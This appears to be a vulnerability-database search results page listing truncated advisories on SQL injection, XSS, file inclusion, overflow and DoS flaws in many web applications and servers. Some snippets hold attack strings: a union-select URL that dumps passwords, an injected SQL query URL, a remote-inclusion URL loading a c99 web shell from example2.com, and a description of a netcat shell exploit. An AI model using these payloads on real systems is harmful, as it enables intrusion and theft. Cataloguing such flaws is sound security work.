56796 matches found
FishCart 3.1 upstnt.php cartid Parameter SQL Injection
No description provided by source. source: http://www.securityfocus.com/bid/13499/info FishCart is prone to multiple cross-site scripting and SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input. A successful exploit of the SQL-injection issues coul...
Apache Tomcat 不完整修复拒绝服务漏洞
BUGTRAQ ID: 65767 CVECAN ID: CVE-2013-4322 Apache Tomcat是一个流行的开源JSP应用服务器程序。 Tomcat 8.0.0-RC1-8.0.0-RC5、Tomcat 7.0.0-7.0.47、Tomcat 6.0.0-6.0.37在实现上存在拒绝服务漏洞，攻击者可利用此漏洞造成拒绝服务。该漏洞源于CVE-2012-3544的不完整修复。所有使用Oracle Java 7 1.7, 1.7.0的系统都受到影响。Oracle Java 7 Update...
YXcmsApp某处xss导致getshell
简要描述： xss到后台导致getshell一条龙服务不过略鸡肋。 详细说明： YXCMS是一款面向企业的内容管理系统，采用三级缓存，MVC架构以BSD协议开源。 注册了用户以后来到用户管理页面，点击信息发布 - 增加咨询，发现是一个富文本编辑器，kindeditor。不管是什么编辑器，既然给了一个用户这么大的权限，这种情况下很容易出现xss。 随便输入点什么东西，抓包，修改content字段内容，写你的xss代码，什么都行。 好了。管理员在后台就能看到我提交的文章： 然后编辑的话就能触发xss：...
MetInfo 5.1 uploadfile_save.php 后门漏洞
0x01 漏洞概述 MetInfo企业网站管理系统采用PHP+Mysql架构，全站内置了SEO搜索引擎优化机制，支持用户自定义界面语言全球各种语言，拥有企业网站常用的模块功能（企业简介模块、新闻模块、产品模块、下载模块、图片模块、招聘模块、在线留言、反馈系统、在线交流、友情链接、网站地图、会员与权限管理）。强大灵活的后台管理功能、静态页面生成功能、个性化模块添加功能、不同栏目自定义FLASH样式功能等可为企业打造出大气漂亮且具有营销力的精品网站。 官方网站：http://www.metinfo.cn/ 影响版本：5.1 ZoomEye Dork：app:"MetInfo" ox02:代码...
金蝶EAS v7.5远程命令执行
简要描述： 金蝶 远程命令执行 详细说明： 金蝶EAS v7.5 全国使用的单位应该不少吧，而且涉及的内容应该是公司内核心机密吧。这个版本应该是最新的吧，应该是。。。吧。 到服务器上查看struts2 发现为很老版本了2.1.8.1（我会告诉你服务器是捅下来的么）。 该产品大部分链接需要登录才能访问，在没有帐号时相关权限只可远观而不可亵玩。 but http://localhost/pltiservice/service/findFavList.action 等几个action为接口，无须登录便可以访问。 没有帐号也可以执行漏洞代码。 漏洞证明：...
Nginx proxy_pass模块远程安全漏洞(CVE-2013-2070)
BUGTRAQ ID: 59824 CVECAN ID: CVE-2013-2070 Nginx是HTTP及反向代理服务器，同时也用作邮件代理服务器，由Igor Sysoev编写。 Nginx 1.1.4 proxypass模块存在远程缓冲区溢出安全漏洞。如果HTTP后端返回特制的响应，proxypass模块会将工作进程内存返回给客户端。攻击者可利用此漏洞造成拒绝服务，也可以获取敏感信息。 0 Igor Sysoev nginx 1.1.19 Igor Sysoev nginx 1.1.17 Igor Sysoev nginx 1.0.9 Igor Sysoev nginx 1.0.8...
PostgreSQL 安全绕过漏洞(CVE-2013-1901)
BUGTRAQ ID: 58878 CVECAN ID: CVE-2013-1901 PostgreSQL是一款高级对象－关系型数据库管理系统，支持扩展的SQL标准子集。 PostgreSQL 9.2.x、9.1.x没有正确检查REPLICATION权限，远程攻击者通过调用pgstartbackup或pgstopbackup函数，利用此漏洞可绕过目标备份安全限制。 0 Debian Linux 6.0 x PostgreSQL 9.2.x PostgreSQL 9.1.x 厂商补丁： PostgreSQL ----------...
Microsoft IIS 7.5 remote heap buffer overflow
No description provided by source. |=-----------------------------------------------------------------------=| |=-------------= The Art of Exploitation =-----------------=| |=-----------------------------------------------------------------------=| |=-------------------= Exploiting MS11-004...
PHP-Nuke多个SQL注入漏洞
BUGTRAQ ID: 39922 PHP-Nuke是一个广为流行的网站创建和管理工具，可使用很多数据库软件作为后端，如MySQL、PostgreSQL、mSQL、 Interbase、Sybase等。 PHP-Nuke没有正确地过滤提交给/modules/Journal/savenew.php页面的mood变量，以及提交给/modules /YourAccount/admin/index.php页面的chnguser变量。远程攻击者可以通过提交恶意查询请求执行SQL注入攻击，完全入侵数据库系统。 PHP-Nuke PHP-Nuke 8.1.35 PHP-Nuke PHP-Nuke 8....
Apache mod_proxy模块HTTP分块编码整数溢出漏洞
BUGTRAQ ID: 37966 CVECAN ID: CVE-2010-0010 Apache HTTP Server是一款流行的Web服务器。 Apache服务器的modproxy模块在执行字符类型转换时存在最终可导致堆溢出的整数溢出漏洞。以下是有漏洞的代码段： "./src/modules/proxy/proxyutil.c" long int approxysendfbBUFF f, requestrec r, cachereq c, offt len, int nowrite, int chunked, sizet recvbuffersize ... sizet...
EasyNews 40tr (SQL/XSS/LFI) Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl EasyNews-40tr Multiple Remote Vulnerabilities SQL Injection Exploit/XSS/LFI Discovered by : IRCRASH By Dr.Crash &...
iG Shop 1.4 (page.php) Remote SQL Injection Vulnerability
No description provided by source. Discovered by: gsy & kerem125 Website: www.kerem125.com Script Download: http://www.igeneric.co.uk/ig-shopping-cart.html exploit:/shop/page.php?pagetype=catalognavigate&typeid=-99%20union//select//password//from//users/...
PHPBB2 Modificat PHPBB_Root_Path远程文件包含漏洞
PHPBB2 Modificat是一款基于PHP的WEB应用程序。 PHPBB2 Modificat不正确过滤用户提交的输入，远程攻击者可以利用漏洞以WEB权限执行任意命令。 问题是'functions.php'脚本对用户提交的'PHPBBRootPath'参数缺少过滤，指定远程服务器上的文件作为包含参数，可导致以WEB权限执行任意命令。 phpBB2-MODificat phpBB2-MODificat 0.2 目前没有解决方案提供,请关注以下链接： http://sourceforge.net/project/showfiles.php?groupid=110366...
SaveWebPortal Page参数远程文件包含漏洞
SaveWebPortal是一款基于PHP的WEB应用程序。 SaveWebPortal不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是'index.php'脚本对用户提交的'page'参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 circeOS SaveWebPortal 3.4 http://www.circeos.it/ http://www.example.com/index.php?page=http://www.example2.com/c99.php.txt...
Cyberfolio <= 2.0 RC1 (av) Remote File Include Vulnerabilities
No description provided by source. \ /\ \ / | \ \ | / \ // / | \ | \ \ Y / | \ / / \ /| /\ / / / / / .OR.ID ECHOADV58$2006 ----------------------------------------------------------------------------------------------- ECHOADV58$2006Cyberfolio =2.0 RC1 $av Remote File Inclusion...
Microsoft Infotech存储库itss.dll堆破坏漏洞
Microsoft Windows是微软发布的非常流行的操作系统。 Microsoft Infotech存储系统库（itss.dll）是用于处理CHM/ITS格式文件的函数库。Microsoft将CHM文件归为危险的文件，类似于可执行文件。但攻击者可以通过诱骗用户反编译恶意的CHM文件触发itss.dll中的堆溢出漏洞，导致执行任意代码。 请注意如果用户反编译了恶意的CHM文件，即使没有打开该文件也可以触发这个漏洞。 Microsoft Windows XP SP2 Microsoft Windows XP SP1 Microsoft Windows 2000...
CCBILL CGI Remote Exploit for whereami.cgi (ccbillx.c)
No description provided by source. / ===================================== CCBILL CGI Remote Exploit for /ccbill/whereami.cgi By: Knight420 7/07/03 spawns a shell with netcat and attempts to connect into the server on port 6666 to gain access of the webserver uid C COPYRIGHT Blue Ballz , 2003 all...
Microsoft Edge: Chakra: Cross context bug(CVE-2018-0946)
Background The CrossSite class is used for passing JavaScript variables across different contexts. Chakra is basically trying to wrap every variable being passed from a context to another context. The way it wraps an object is, first overwrite the virtual function table pointer of the given objec...
OnePlus 3/3T Bypassing the Bootloader’s Lock (CVE-2017-5626)
Bypassing the Bootloader’s Lock CVE-2017-5626 OnePlus 3 & 3T running OxygenOS 3.2 - 4.0.1 had two proprietary fastboot oem commands: 1. fastboot oem 4F500301 – bypasses the bootloader’s lock – allowing one with fastboot access to effectively unlock the device, disregarding OEM Unlocking, without...
源天(Velcro)协同OA /ServiceAction/com.velcro.base.DataAction?sql= SQL语句执行漏洞
ServiceAction/com.velcro.base.DataAction?sql=|20select|20categoryids|20from|20project|20where|20id=%27%27%20and%201=2%20union%20all%20select%20select%20banner%20from%20sys.v$version%20where%20rownum=1%20from%20dual&isworkflow=trueE 任意SQL语句执行...
泛微ecology系统所有版本SQL注入（官网为例）二
简要描述： 详细说明： 注入点：/hrm/resource/HrmResourceContactEdit.jsp?isfromtab=true&id=29&isView=1 注入参数为id 需要普通用户登录。 案例一： 在官网用手机号码登陆后进行测试，登陆后访问：...
Oracle Java lookUpByteBI - Heap Buffer Overflow
No description provided by source. Exploit Title: Oracle Java lookupByteBI function heap buffer overflow Google Dork: Date: 2013-09-03 Exploit Author: GuHe Vendor Homepage: http://www.oracle.com/ Software Link: http://www.oracle.com/technetwork/java/javase/downloads/index.html Version: 7u21 and...
PHP openssl_x509_parse() - Memory Corruption Vulnerability
No description provided by source. SektionEins GmbH www.sektioneins.de -= Security Advisory =- Advisory: PHP opensslx509parse Memory Corruption Vulnerability Release Date: 2013/12/13 Last Modified: 2013/12/13 Author: Stefan Esser stefan.esseratsektioneins.de Application: PHP 4.0.6 - PHP 4.4.9 PHP...
startbbs开源论坛csrf可导致后台添加管理员+修改任意用户密码
简要描述： startbbs某处设计不当导致可csrf添加管理员 详细说明： 经过对startbbs源代码白盒分析，发现了关键部分（添加管理员+修改任意用户密码）的token设计存在缺陷。 为了防止是token随机生成，我还特地去官网再下了几次源码回来。得到的结果都一样； token值如下： token值遍布以下文件当中： 最新下载的源码包： token值对比，依然是一样的： 估计是开发人员偷懒了吧。 既然知道是这么样的结果，对源码分析就不难构造添加管理员的代码了： 访问poc之前，我的用户组是（2）普通会员...
lighttpd mod_auth模块base64 拒绝服务漏洞
CVE-2011-4362 Lighttpd是一款轻型的开放源码Web Server软件包。 lighttpd在认证数据的解码实现上存在漏洞，攻击者可能利用此漏洞使应用程序崩溃造成拒绝服务。 httpauth.c中的代码在base64解码用户输入的认证数据时使用"const char in"类型，并将每个字符转换为"int ch"作为映射表的索引，大于0x80的字符就会导致负索引，可能造成非法内存访问。 lighttpd =1.4.29 厂商补丁： LightTPD -------- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：...
Ruby on Rails 'protect_from_forgery'跨站脚本请求伪造漏洞
Bugraq ID: 37322 CVE ID：CVE-2009-4136 Ruby on Rails是一款Web应用程序框架，构建在Ruby语言之上。 Ruby on Rails 'protectfromforgery'存在跨站请求伪造攻击，远程攻击者可以利用漏洞执行部分管理员操作，获得对应用程序的未授权访问或删除部分数据。 Ruby on Rails Ruby on Rails 2.3.5 Ruby on Rails Ruby on Rails 2.3.4 Ruby on Rails Ruby on Rails 2.3.3 Ruby on Rails Ruby on Rails...
Serv-U FTP服务器TEA解码栈溢出漏洞
BUGTRAQ ID: 37051 Serv-U FTP是一款FTP服务程序。 Serv-U FTP服务器中使用TEA解码算法处理字符串的16进制表示的函数中存在栈溢出漏洞，远程攻击者可以通过提交超长字符串来触发这个溢出，导致执行任意代码。 RhinoSoft Serv-U 9.0.0.5 厂商补丁： RhinoSoft --------- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载： http://www.serv-u.com/...
GNOME Evolution S/MIME邮件签名验证漏洞
BUGTRAQ ID: 33720 Evolution是个人和工作组信息管理解决方案，可使用在Linux和Unix操作系统下，集成Email、日历、会议安排、联系人管理等功能。 evolution处理S/MIME邮件消息的方式存在漏洞。如果S/MIME邮件已经签名之后又修改了邮件消息，evolution仍会认为S/MIME消息的签名是有效的。攻击者可以利用这个漏洞伪造邮件消息，执行中间人或其他类型的欺骗攻击。 GNOME Evolution 2.22.2 GNOME Evolution 2.22.1 厂商补丁： GNOME -----...
WordPress Akismet插件未明漏洞
WordPress是一款基于WEB的网络日志应用程序。 使用在WordPress的Akismet插件不正确处理用户提交的输入，远程攻击者可以利用漏洞获得敏感信息。 目前没有详细漏洞细节提供。 WordPress 2.1.3 目前没有解决方案提供： http://wordpress.org/...
Photofiltre Studio v8.1.1 (.TIF File) Local Buffer Overflow Exploit
No description provided by source. / Photofiltre Studio v8.1.1 .TIF File Buffer Overflow &nb...
WordPress AdminPanel CSRF/XSS - 0day
No description provided by source. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 +---------------------------------------------------------------------------+ SaMuschie Research Labs proudly presents . . . | +---------------------------------------------------------------------------+ Application...
Kiwi CatTools TFTP目录遍历漏洞
Kiwi CatTools是一个管理网络设备如路由器、交换机与防火墙的工具。 CatTools TFTP服务器处理请求时存在输入验证漏洞，远程攻击者可能利用此漏洞遍历服务器目录访问任意文件。 CatTools TFTP服务器没有正确检查请求文件路径中的目录遍历串，允许远程攻击者通过特制的目录遍历序列向TFTP根目录以外的任意位置上传或下载任意文件。 Kiwi CatTools 3.2.0 beta 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载： http://www.kiwisyslog.com/cattools-info.php tftp -i 10.11.12.1...
天融信TopApp-AD /acc/vpn/download.php 下载漏洞
No description provided by source...
MVPower CCTV Cameras 漏洞
漏洞演示 默认的Web管理接口登录账号 通过默认的帐号admin和空密码能够通过Web管理接口成功登录： 登录后，可以进行实时的图像监控，系统设置等： Web管理接口登录绕过 根据原文描述，Web管理接口登录的认证仅仅是在前端（js/cookie.js）验证了请求Cookie中是否存在“dvrcamcnt”、”dvruser”、”dvrpwd”这三个值： 通过直接在请求中设置对应Cookie值即可正常访问控制后台： 其中dvrcamcnt指的是页面上实时监控画面的数量。 内置未授权访问Shell...
Oracle Document Capture empop3.dll Insecure Methods
No description provided by source. Source: http://packetstormsecurity.org/files/view/97868/DSECRG-11-005.txt ActiveX components contain insecure methods. Digital Security Research Group DSecRG Advisory DSECRG-11-005 internal DSECRG-00154 Application: Oracle Document Capture Versions Affected:...
Ipswitch IMail 5.0.8/6.0/6.1 IMonitor status.cgi DoS Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/914/info IMail includes a service called IMail Monitor which is used for local and remote performance measuring and diagnostics. It includes a small webserver operating on port 8181 to support web-based monitoring. One of...
WINMOD 1.4 - (.lst) Universal Buffer Overflow Exploit (SEH) (2)
No description provided by source. !/usr/bin/python Exploit : WINMOD 1.4 .lst Universal Buffer Overflow Exploit SEH Tested on : Xp sp2 fr Original exploit : http://www.milw0rm.com/exploits/9221 By : DzGirl Greets to : hisok4 even if he doesn't know me & all friends win32exec - EXITFUNC=seh CMD=ca...
MoinMoin action/twikidraw.py和action/anywikidraw.py任意代码执行漏洞
BUGTRAQ ID: 57082 CVECAN ID: CVE-2012-6081 MoinMoin是一个基于Python环境的wiki引擎程序，支持包括中文在内的多语种特性。 MoinMoin 1.9.6之前版本中 twikidraw action/twikidraw.py 、anywikidraw action/anywikidraw.py 脚本存在多个文件上传漏洞，可允许具有写权限的、经过身份验证的远程攻击者通过上传带有可执行扩展名的文件，然后直接请求该文件，执行任意代码。 0 MoinMoin Wiki Engine 1.9.3 厂商补丁： MoinMoin --------...
Apache Tomcat DIGEST身份验证多个安全漏洞(CVE-2012-3439)
BUGTRAQ ID: 56403 CVE ID: CVE-2012-3439 Apache Tomcat是一个流行的开放源码的JSP应用服务器程序。 Apache Tomcat 7.0.0-7.0.27、6.0.0-6.0.35、5.5.0-5.5.35存在多个安全漏洞，成功利用后可允许攻击者绕过安全限制并执行非法操作。 0 Apache Group Tomcat 7.x Apache Group Tomcat 6.x Apache Group Tomcat 5.x 厂商补丁： Apache Group ------------ 请更新到5.5.36、6.0.36、7.0.30...
webSPELL Dailyinput Movie-Addon ‘portal’参数SQL注入漏洞
BUGTRAQ ID: 53904 webSPELL是一款基于WEB的内容管理程序。 webSPELL dailyinput Movie-addon中存在SQL注入漏洞，该漏洞源于未对用户提供的数据充分的验证即用在SQL查询中。攻击者可利用该漏洞操控应用程序，访问或修改数据，或在底层数据库中利用该漏洞。 0 webSPELL 厂商补丁： webSPELL -------- 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本： http://cms.webspell.org/...
HoMaP-CMS 0.1 (index.php go) Remote SQL Injection Vulnerability
No description provided by source. -------------------------------------------------------------------------------------------------------------------------------- // HoMaP-CMS 0.1 index.php go SQL Injection Vulnerability // Author: SxCx // Download: SourceForge.net // Version affected: 0.1 //...
Icon Labs Iconfidant SSH服务器多个拒绝服务漏洞
BUGTRAQ ID: 29609 Iconfident SSH是运行在基于VxWorks系统上的SSH服务器。 Iconfidant SSH服务器中存在多个漏洞，可能导致系统不稳定。在SSH登录期间，如果在积极时间帧中执行了登录，或发送了无效的认证凭据，或在登录时同时执行了其他管理操作的话，就可以触发这些漏洞，导致拒绝服务。 Icon Labs Iconfidant SSH 2.3.7 Icon Labs --------- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载： http://www.icon-labs.com/...
DFD Cart 1.1 Multiple Remote File Inclusion Vulnerabilities
No description provided by source. DFD Cart 1.1 Multiple Remote File Inclusion Vulnerabilities Vulnerability Type: Remote File Inclusion Vulnerable file: /dfdcart/app.lib/product.control/core.php/product.control.config.php Exploit URL:...
Eir’s D1000 Modem Is Wide Open To Being Hacked.
Background The Eir D1000 Modem has bugs that allow an attacker to gain full control of the modem from the Internet. The modem could then be used to hack into internal computers on the network, as a proxy host to hack other computers or even as a bot in a botnet. A port scan of the the modem...
ZTE ZXR10 Router Multiple Vulnerabilities( CVE-2017-10931)
Vulnerabilities summary The following advisory describes five 5 vulnerabilities found in ZTE ZXR10 Router. ZXR10 ZSR V2 series router is “the next generation intelligent access router product of ZTE, which integrates routing, switching, wireless, security, and VPN gateway. The product adopts...
Joomla! 3.7.5 LDAP injection vulnerability(CVE-2017-14596)
Joomla! 3.7.5 - Takeover in 20 Seconds with LDAP Injection With over 84 million downloads, Joomla! is one of the most popular content management systems in the World Wide Web. It powers about 3.3% of all websites’ content and articles. Our code analysis solution RIPS detected a previously unknown...